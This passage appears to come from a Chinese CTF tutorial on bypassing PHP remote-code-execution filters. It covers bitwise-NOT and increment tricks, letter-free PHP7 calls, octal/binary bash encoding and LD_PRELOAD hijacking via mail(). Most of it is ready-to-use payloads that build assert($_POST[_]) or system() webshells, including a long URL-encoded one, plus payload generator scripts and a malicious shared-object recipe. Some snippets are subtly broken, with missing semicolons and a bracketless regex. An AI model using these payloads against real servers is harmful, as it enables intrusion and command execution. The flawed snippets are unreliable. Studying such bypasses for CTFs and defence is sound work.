荧荔栈柑栅柠枷勃柬砂泵砚鸥轴韭虐昧盹咧昵昭盅勋哆咪哟幽钙钝钠钦钧钮毡氢秕俏俄俐侯徊衍胚胧胎狰饵峦奕咨飒闺闽籽娄烁炫洼柒涎洛恃恍恬恤宦诫诬祠诲屏屎逊陨姚娜蚤骇耘耙秦
匿埂捂捍袁捌挫挚捣捅埃耿聂荸莽莱莉莹莺梆栖桦栓桅桩贾酌砸砰砾殉逞哮唠哺剔蚌蚜畔蚣蚪蚓哩圃鸯唁哼唆峭唧峻赂赃钾铆氨秫笆俺赁倔殷耸舀豺豹颁胯胰脐脓逛卿鸵鸳馁凌凄衷郭斋
疹紊瓷羔烙浦涡涣涤涧涕涩悍悯窍诺诽袒谆祟恕娩骏琐麸琉琅措捺捶赦埠捻掐掂掖掷掸掺勘聊娶菱菲萎菩萤乾萧萨菇彬梗梧梭曹酝酗厢硅硕奢盔匾颅彪眶晤曼晦冕啡畦趾啃蛆蚯蛉蛀唬唾
啤啥啸崎逻崔崩婴赊铐铛铝铡铣铭矫秸秽笙笤偎傀躯兜衅徘徙舶舷舵敛翎脯逸凰猖祭烹庶庵痊阎阐眷焊焕鸿涯淑淌淮淆渊淫淳淤淀涮涵惦悴惋寂窒谍谐裆袱祷谒谓谚尉堕隅婉颇绰绷综绽
缀巢琳琢琼揍堰揩揽揖彭揣搀搓壹搔葫募蒋蒂韩棱椰焚椎棺榔椭粟棘酣酥硝硫颊雳翘凿棠晰鼎喳遏晾畴跋跛蛔蜒蛤鹃喻啼喧嵌赋赎赐锉锌甥掰氮氯黍筏牍粤逾腌腋腕猩猬惫敦痘痢痪竣翔
奠遂焙滞湘渤渺溃溅湃愕惶寓窖窘雇谤犀隘媒媚婿缅缆缔缕骚瑟鹉瑰搪聘斟靴靶蓖蒿蒲蓉楔椿楷榄楞楣酪碘硼碉辐辑频睹睦瞄嗜嗦暇畸跷跺蜈蜗蜕蛹嗅嗡嗤署蜀幌锚锥锨锭锰稚颓筷魁衙
腻腮腺鹏肄猿颖煞雏馍馏禀痹廓痴靖誊漓溢溯溶滓溺寞窥窟寝褂裸谬媳嫉缚缤剿赘熬赫蔫摹蔓蔗蔼熙蔚兢榛榕酵碟碴碱碳辕辖雌墅嘁踊蝉嘀幔镀舔熏箍箕箫舆僧孵瘩瘟彰粹漱漩漾慷寡寥
谭褐褪隧嫡缨撵撩撮撬擒墩撰鞍蕊蕴樊樟橄敷豌醇磕磅碾憋嘶嘲嘹蝠蝎蝌蝗蝙嘿幢镊镐稽篓膘鲤鲫褒瘪瘤瘫凛澎潭潦澳潘澈澜澄憔懊憎翩褥谴鹤憨履嬉豫缭撼擂擅蕾薛薇擎翰噩橱橙瓢蟥
霍霎辙冀踱蹂蟆螃螟噪鹦黔穆篡篷篙篱儒膳鲸瘾瘸糙燎濒憾懈窿缰壕藐檬檐檩檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎赡镣魏簇儡徽爵朦臊鳄糜癌懦豁臀藕藤瞻嚣鳍癞瀑襟璧戳攒孽蘑藻鳖蹭蹬簸簿蟹
靡癣羹鬓攘蠕巍鳞糯譬霹躏髓蘸镶瓤矗";
function mb_str_split( $string ) {
    return preg_split('/(?<!^)(?!$)/u', $string );
}
foreach (mb_str_split($word) as $c)
{
    $arr[] = $c;
}

for ($x=0;$x<strlen($shell);$x++)
{
    for ($y=0;$y<count($arr);$y++)
    {
        $k = $arr[$y];
        if ($shell[$x] == ~($k{1}))
        {
            $result .= $k;
            $result1 .= "%".bin2hex($k{1});
            break;
        }
    }
}
echo "通过在URL内GET方法提交?cmd=\"具体命令\"";
echo "<br>";
echo "字符串:".$result;
echo "<br>";
echo "URL编码:".$result1;

下面给出一个比较通用的取反payload

// php5、7.2 pss = _
$_=~("%9e%8c%8c%9a%8d%8b");$__=~("%a0%af%b0%ac%ab");$___=$$__;$_($___[_]);
// 无回显 `$_POST[_]` pass = _ 一般用来反弹shell
$__=~("%A0%AF%B0%AC%AB");$___=$$__;`$___[_]`;
// `system($_POST[_])` pss = _
$_=~("%8c%86%8c%8b%9a%92");$__=~("%a0%af%b0%ac%ab");$___=$$__;$_($___[_]);

自增绕过

自增绕过,主要是利用++的方式去1,如果可以拿到A那么就可以拿到所有可见的字母和数字,这个A字母的获取可以通过下面方法

<?php
$_=[].'';
echo $_;       // Array
echo $_[0];    // A
echo $_[$__];  // A
?>

里面的[]是一个数组,如果直接输出则会返回Array,这样第一个字母就是咱们想要的内容了,但是如果直接通过[0]的方式去拿,会出问题,拿不到需要给他变成字符串形式[].''即可,然后0我们是没办法输入的,我们可以随便传入一个不存在的变量,不存在的变量都会返回false也就是0,我们直接使用他就可以第一个。下面给一个生成自增的脚本,但是似乎有点问题,开头的第一个命令似乎百分百是A,即只能构造ASSERT的,后面会给出一些常用的

<?php
highlight_file(__FILE__);
$cmd = strtoupper($_GET['cmd']);
$cmd2 = strtoupper($_GET['post']);
function POC($cmd){
    $i = 0;
    $POC_pat1 = "\$__=\$___;";
    $POC_pat2 = "\$_ .=\$__;";
    while ($i<strlen($cmd)){
        $str1 = $cmd[$i];
        $POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
        if ($i<1) {
            $POC_pat3 = str_repeat("++\$__;",$POC1);
            echo $POC_pat3;
        }else{
            $str2 = $cmd[$i-1];
            if($str1==$str2){
                $POC_pat5 = $POC_pat2;
                echo $POC_pat5;
            }else{
                $POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
                echo $POC_pat6;
            }
        }
        $i++;
    }
}
function POC2($cmd){
    $i = 0;
    echo '$____ = "_";$__=$___;';
    $POC_pat1 = "\$__=\$___;";
    $POC_pat2 = "\$____ .=\$__;";
    while ($i<strlen($cmd)){
        $str1 = $cmd[$i];
        $POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
        if ($i<1) {
            $POC_pat3 = str_repeat("++\$__;",$POC1).$POC_pat2;
            echo $POC_pat3;
        }else{
            $str2 = $cmd[$i-1];
            if($str1==$str2){
                $POC_pat5 = $POC_pat2;
                echo $POC_pat5;
            }else{
                $POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
                echo $POC_pat6;
            }
        }
        $i++;
    }
}
if (!empty($cmd)){
    $POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;";
    echo $POC_pat7;
    POC($cmd);
}
if (!empty($cmd2)){
    POC2($cmd2);
}
?>

然后下面直接给一个常用的payloadASSERT($_POST[_]);

$_=[];$_=@"$_"; $_=$_['!'=='@']; $___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__; $__=$_;$__++;$__++;$__++;$__++; $___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__;$_=$$____;$___($_[_]); 

这个是需要抓换url编码的,转换后如下

%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%20%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%20%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%20%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%20%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%20%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%20%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%20%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%20%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%20%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B%20

无$_绕过

<?php
error_reporting(0);
highlight_file(__FILE__);
if (!preg_match("/a-z0-9$_/is", $cmd)) {
    eval($cmd);
}
?>

这道题目是不允许a-z大小写,0-9然后是$_都不可用,这种一般出现在php7中,因为php7可以这样执行命令($a)(),我们完全通过异或或者取反的方式构造一个这种的exp(system)((post)(_))这样的形式,具体的其实就直接参考上面几种方法,通用的exp如下

// `assert(eval($_POST[mochu7]))`
(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

进制形式绕过

遇到过的一般是8进制和2进制的,其他的一般可以用其他办法绕过,这里就单独说一下8进制和2进制,一般8进制的过滤长这样

<?php
function hello_shell($cmd){
    if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>

可以看到除了数字和\$基本都被过滤了,这种的就可以尝试8进制了,而且他这个是可以直接system执行的,就是只要bash能解析即可,bash本身就可以解析8进制的内容,例如在终端中执行$'\154\163\40\55\154'就是执行ls -l,然后cat /flag就是

$'\143\141\164\40\57\146\154\141\147'

二进制的题目长这样

<?php
function hello_shell($cmd){
    if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);
?>

直接从数字中就可以看到是01可用$可用,还有一些其他的符号,这种可以考虑一下二进制了,毕竟0和1可以用,大致就是在提示你01了,具体利用的payload如下

$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

转换url编码

%240%3C%3C%3C%240%5C%3C%5C%3C%5C%3C%5C%24%5C%27%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310001111%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310001101%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310100100%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%23101000%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%23111001%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310010010%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310011010%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310001101%29%29%5C%5C%24%28%28%24%28%281%3C%3C1%29%29%2310010011%29%29%5C%27

直接给一个通用exp,可以生成很多比较奇怪的符号的脚本,包括上面二进制的脚本你也这个脚本生成的

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>BashFuck Payload Generator</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 20px;
            background-color: #f4f4f9;
            color: #333;
        }
        h1 {
            color: #333;
        }
        .input-container, .output-container {
            margin-bottom: 20px;
        }
        textarea, .output-container textarea {
            width: 100%;
            padding: 10px;
            font-family: monospace;
            border: 2px solid #4a90e2;
            border-radius: 8px;
            resize: none;
            font-size: 14px;
            background-color: #f0f8ff;
            outline: none;
            box-sizing: border-box;
        }
        button {
            padding: 10px 20px;
            font-size: 16px;
            background-color: #4a90e2;
            color: white;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            margin-top: 10px;
            box-shadow: 0px 2px 5px rgba(0, 0, 0, 0.2);
        }
        button:hover {
            background-color: #357ab8;
        }
        .container {
            margin-bottom: 30px;
            padding: 20px;
            background-color: #fff;
            border-radius: 10px;
            box-shadow: 0px 0px 15px rgba(0, 0, 0, 0.1);
            border: 2px solid #ddd;
            box-sizing: border-box;
        }
        .payload-info {
            font-weight: bold;
            margin-bottom: 10px;
            font-size: 14px;
        }
        .copy-btn {
            float: right;
            padding: 8px 15px;
            background-color: #4a90e2;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 14px;
        }
        .copy-btn:hover {
            background-color: #357ab8;
        }
        .output-container {
            display: flex;
            flex-direction: column;
        }
    </style>
</head>
<body>

<h1>BashFuck Payload Generator</h1>
<p>Enter your command below and generate the payloads for all formats.</p>

<div class="input-container">
    <textarea id="cmdInput" placeholder="Enter command here..." rows="3"></textarea>
    <button onclick="generatePayload()">Generate Payloads</button>
</div>

<div id="output" class="output-container"></div>

<script>
function info(s) {
    let total = 0;
    let usedChars = new Set();
    for (let c of s) {
        if (c.match(/[ -~]/) && !usedChars.has(c)) {  
            total++;
            usedChars.add(c);
        }
    }
    return {
        charset: Array.from(usedChars).sort().join(' '),
        totalUsed: total,
        payloadLength: s.length,
        payload: s
    };
}

function getOct(c) {
    return c.charCodeAt(0).toString(8);  // 将字符的ASCII值转换为八进制字符串
}

function nomalOtc(cmd) {
    let payload = "$'";
    for (let c of cmd) {
        payload += '\\' + getOct(c);
    }
    payload += "'";
    return info(payload);
}

function bashfuckX(cmd, form) {
    let bashStr = '';
    for (let c of cmd) {
        let binaryStr = parseInt(getOct(c), 10).toString(2);
        bashStr += '\\\\$(($((1<<1))#' + binaryStr + '))';
    }

    let payloadBit = bashStr;
    let payloadZero = bashStr.replace(/1/g, '${##}');  // 用 ${##} 来替换 1
    let payloadC = bashStr.replace(/1/g, '${##}').replace(/0/g, '${#}');  // 用 ${#} 来替换 0

    if (form === 'bit') {
        payloadBit = '$0<<<$0\\<\\<\\<\\$\\\'' + payloadBit + '\\\'';
        return info(payloadBit);
    } else if (form === 'zero') {
        payloadZero = '$0<<<$0\\<\\<\\<\\$\\\'' + payloadZero + '\\\'';
        return info(payloadZero);
    } else if (form === 'c') {
        payloadC = '${!#}<<<${!#}\\<\\<\\<\\$\\\'' + payloadC + '\\\'';
        return info(payloadC);
    }
}

function bashfuckY(cmd) {
    let octList = [
        '$(())',  // 0
        '$((~$(($((~$(())))$((~$(())))))))',  // 1
        '$((~$(($((~$(())))$((~$(())))$((~$(())))))))',  // 2
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  // 3
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  // 4
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  // 5
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  // 6
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  // 7
    ];
    let bashFuck = '';
    bashFuck += '__=$(())';  // set __ to 0
    bashFuck += '&&';  // splicing
    bashFuck += '${!__}<<<${!__}\\<\\<\\<\\$\\\'';  // got 'sh'

    for (let c of cmd) {
        bashFuck += '\\\\';
        for (let i of getOct(c)) {
            bashFuck += octList[parseInt(i)];
        }
    }

    bashFuck += '\\\'';
    return info(bashFuck);
}

function generatePayload() {
    const cmd = document.getElementById("cmdInput").value;
    const outputDiv = document.getElementById("output");
    outputDiv.innerHTML = '';  // 清空之前的输出

    const payloads = [
        { title: 'Normal OTC', data: nomalOtc(cmd) },
        { title: 'Bit', data: bashfuckX(cmd, 'bit') },
        { title: 'Zero', data: bashfuckX(cmd, 'zero') },
        { title: 'C', data: bashfuckX(cmd, 'c') },
        { title: 'Bashfuck Y', data: bashfuckY(cmd) }
    ];

    payloads.forEach(payload => {
        const container = document.createElement('div');
        container.classList.add('container');

        const info = document.createElement('div');
        info.classList.add('payload-info');
        info.innerHTML = `Charset (${payload.data.totalUsed}) : ${payload.data.charset}<br>Payload length = ${payload.data.payloadLength}`;
        container.appendChild(info);

        const textarea = document.createElement('textarea');
        textarea.value = payload.data.payload;
        textarea.readOnly = true;
        textarea.rows = 4;
        container.appendChild(textarea);

        const copyButton = document.createElement('button');
        copyButton.classList.add('copy-btn');
        copyButton.innerText = 'Copy';
        copyButton.onclick = () => {
            textarea.select();
            document.execCommand('copy');
        };
        container.appendChild(copyButton);

        outputDiv.appendChild(container);
    });
}
</script>

</body>
</html>

LD_PRELOAD利用

LD_PRELOAD的利用条件比较苛刻,这里列举一下

可以上传自己的so文件
能够控制环境变量的值(设置LD_PRELOAD变量),比如`putenv`函数并且没有被禁止
存在可以控制PHP外部程序的函数并且能够执行,例如mail、imap_mail、mb_send_mail、errlor_log等。

具体的方法就是通过LD_PRELOAD环境变量来劫持动态链接库。利用的原理参考如下 在php的mail函数中存在调用本地软件的内容,具体可以写一个php文件,内容如下

<?php
mail('','','','');
?>

通过strace -o 1.txt -f php mail.php命令导出运行时的所有系统调用,然后通过查看execve系统调用执行的内容

┌──(root㉿BoyChaiWindows)-[~/temp/zongjie]
└─# cat 1.txt |grep exec
5673  execve("/usr/bin/php", ["php", "mail.php"], 0x7fff2e169e40 /* 38 vars */) = 0
5674  execve("/bin/sh", ["sh", "-c", "--", "/usr/sbin/sendmail -t -i"], 0x559f5ab132a0 /* 38 vars */ <unfinished ...>
5674  <... execve resumed>)             = 0
5675  execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], 0x558d22e10b68 /* 38 vars */ <unfinished ...>
5675  <... execve resumed>)             = 0

可以发现的是在编号5674中他执行了一个/usr/sbin/sendmail命令,我们通过readelf -Ws /usr/sbin/sendmail命令查看一下他调用了那些动态链接库的函数,这条命令的数据量很大,但是可以找到一个是geteuid的调用,如下


┌──(root㉿BoyChaiWindows)-[~/temp/zongjie]
└─# readelf -Ws /usr/sbin/sendmail|grep geteuid
   103: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND geteuid@GLIBC_2.2.5 (4)

具体的利用方式就是通过在程序运行时的LD_PRELOAD环境变量,他的作用是加载so文件到文件中,如果出现冲突的一些动态链接库函数则有先会使用他的,我们可以手写一个c代码文件,内容如下

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
	system("cat /flag > /tmp/flag")
}
int geteuid(){
	unsetenv("LD_PRELOAD");
	payload();
}

通过gcc -shared -fPIC demo.c -o demo.so命令编译出so文件,上传到服务器中,然后运行下面的php代码

<?php
putenv("LD_PRELOAD=./demo.so")
mail("","","","")
?>

去访问这个php代码,或者运行这个php代码的时候就会执行咱们再C代码中的命令,至于为什么需要在C代码中执行unsetenv("LD_PRELOAD");是因为咱们改的是环境变量,如果不修改会影响其他程序,有可能会导致系统崩溃,然后当前的绕过思路是任何环境都可以尝试,但是出现问题的话会很危险,因为他劫持了动态链接库,也可以找一个调用量比较少的函数去劫持,然后影响的更少一些。这个的利用在CTF中应该会比较少见,因为他可能导致Docker崩溃,而且利用环境比较苛刻。